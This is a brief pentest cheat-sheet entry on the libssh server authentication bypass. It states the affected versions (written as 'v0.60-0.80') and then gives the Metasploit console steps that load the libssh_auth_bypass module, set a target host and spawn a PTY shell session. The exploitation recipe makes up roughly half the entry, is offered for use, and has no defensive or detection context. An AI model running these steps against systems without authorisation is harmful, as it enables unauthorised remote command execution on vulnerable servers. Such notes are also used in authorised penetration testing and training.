libssh

It is a multiplatform C library implementing the SSHv2 protocol on client and server side.

lib v0.60-0.80. is vulnerable to an authentication bypass vulnerability in the libssh server code that can be exploited to execute commands on the target server.

Exploitation with Metasploit

use auxiliary/scanner/ssh/libssh_auth_bypass

set RHOSTS TARGET_IP

# Spawn a TTY session after running the module
set SPAWN_PTY true

run